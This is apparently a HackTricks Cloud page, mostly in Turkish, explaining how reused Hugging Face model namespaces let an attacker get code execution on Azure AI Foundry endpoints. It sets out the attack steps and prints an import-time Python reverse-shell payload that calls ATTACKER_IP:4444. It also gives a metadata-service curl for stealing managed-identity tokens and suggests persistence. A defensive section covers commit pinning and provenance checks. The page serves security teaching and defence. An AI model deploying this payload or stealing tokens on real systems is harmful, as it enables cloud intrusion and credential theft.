Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Senaryo
- Azure AI Foundry Model Catalog, tek tıklamayla dağıtım için birçok Hugging Face (HF) modelini içerir.
- HF model identifier’ları Author/ModelName şeklindedir. Bir HF author/org silinirse, herhangi biri o author’ı yeniden kaydederek aynı ModelName ile legacy path’te bir model yayımlayabilir.
- Yalnızca isimle (commit pinning/integrity olmadan) çeken pipelines ve catalogs, attacker-controlled repos’lara çözümlenir. Azure modeli deploy ettiğinde, loader code endpoint ortamında çalıştırılabilir ve bu endpoint’in izinleriyle RCE sağlar.
Yaygın HF takeover durumları:
- Ownership deletion: Eski path takeover gerçekleşene kadar 404 döner.
- Ownership transfer: Eski path, eski author var olduğu sürece 307 ile yeni author’a yönlendirilir. Eski author daha sonra silinip yeniden kaydedilirse, redirect bozulur ve attacker’ın repo legacy path üzerinde hizmet verir.
Yeniden Kullanılabilir Namespace’leri (HF) Belirleme
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
Azure AI Foundry’a Karşı Uçtan Uca Saldırı Akışı
- Model Catalog’ta, HF’de orijinal yazarı silinmiş veya devredilmiş (eski yazar kaldırılmış) modelleri bulun.
- HF’de terk edilmiş yazarı yeniden kaydederek ModelName’i yeniden oluşturun.
- Import sırasında çalışan veya trust_remote_code=True gerektiren loader kodu içeren kötü amaçlı bir repo yayınlayın.
- Azure AI Foundry’dan legacy Author/ModelName’i deploy edin. Platform saldırganın repo’sunu çeker; loader Azure endpoint container/VM içinde çalışır ve endpoint izinleriyle RCE sağlar.
Import sırasında çalıştırılan örnek payload parçası (sadece gösterim amaçlı):
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
Notlar
- AI Foundry dağıtımları HF ile entegre olduğunda genellikle model’s config tarafından referans verilen repo modüllerini (ör. auto_map) clone edip import eder; bu kod çalıştırılmasına yol açabilir. Bazı yollar trust_remote_code=True gerektirir.
- Erişim genellikle endpoint’s managed identity/service principal permissions ile eşleşir. Bunu Azure içinde veri erişimi ve lateral movement için bir initial access foothold olarak değerlendirin.
Post-Exploitation Tips (Azure Endpoint)
- Enumerate environment variables and MSI endpoints for tokens:
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
- Edinilen token ile bağlı depolamayı, model artefaktlarını ve erişilebilen Azure servislerini kontrol edin.
- Platform HF’den yeniden çekerse, zehirlenmiş model artefaktlarını bırakarak persistence’i düşünün.
Azure AI Foundry Kullanıcıları için Savunma Rehberi
- HF’den yüklerken modelleri commit’e göre sabitleyin:
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
- Onaylanmış HF modellerini güvenilir bir dahili kayıt deposuna yansıtın ve oradan dağıtın.
- Kod tabanlarını ve defaults/docstrings/notebooks içeriğini, silinmiş/aktarılan sert kodlanmış Author/ModelName’ler açısından sürekli tarayın; güncelleyin veya sabitleyin.
- Dağıtımdan önce Author varlığını ve modelin kaynağını doğrulayın.
Tanıma Heuristikleri (HTTP)
- Deleted author: Author sayfası 404 döner; takeover’a kadar legacy model yolu 404 döner.
- Transferred model: legacy yol, eski author hâlâ mevcutken yeni Author’a 307 yönlendirir; eski author daha sonra silinip yeniden kayıt olursa, legacy yol saldırgan içeriği servis eder.
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
Çapraz Referanslar
- Daha geniş metodoloji ve tedarik zinciri notlarına bakın:
Referanslar
- Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)
- Hugging Face: Renaming or transferring a repo
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

